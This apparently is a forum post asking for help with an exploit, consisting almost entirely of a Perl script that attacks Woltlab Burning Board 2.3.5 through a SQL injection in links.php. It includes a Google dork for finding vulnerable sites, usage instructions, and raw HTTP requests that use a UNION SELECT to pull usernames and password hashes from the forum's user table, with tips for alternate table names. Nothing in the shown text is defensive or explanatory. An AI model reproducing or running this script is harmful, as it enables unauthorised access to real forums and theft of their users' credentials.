Hilfe mit Exploit

#!/usr/bin/perl

use IO::Socket;

print q{
################################################################################
## ##
## Woltlab Burning Board 2.3.5 <= "links.php" SQL Injection Exploit ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## Exploit by | hias ##
## Googledork | inurl:/wbb2/links.php?cat ##
## Usage | links.pl [server] [path] [userid] ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## ##
################################################################################

};

$webpage = $ARGV[0];
$directory = $ARGV[1];
$userid = $ARGV[2];

if (!$webpage||!$directory) { die "[+] Exploit failed\n"; }

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=5474902010+union+select+password,username+from+bb1_users+where+userid=$userid";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "[+] Exploiting.....\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
print "[+] Hash: $1\n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
break;
}
}

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=5474902010+union+select+password,userid+from+bb1_users+where+userid=$userid";
close($sock);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
print "[+] Hash: $1\n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
print "[+] Database doesn't exist. try replacing bb1_users with bb2_users or bb3_users\n";
break;
}
}
close($sock);

print "[+] Exploit failed\n";


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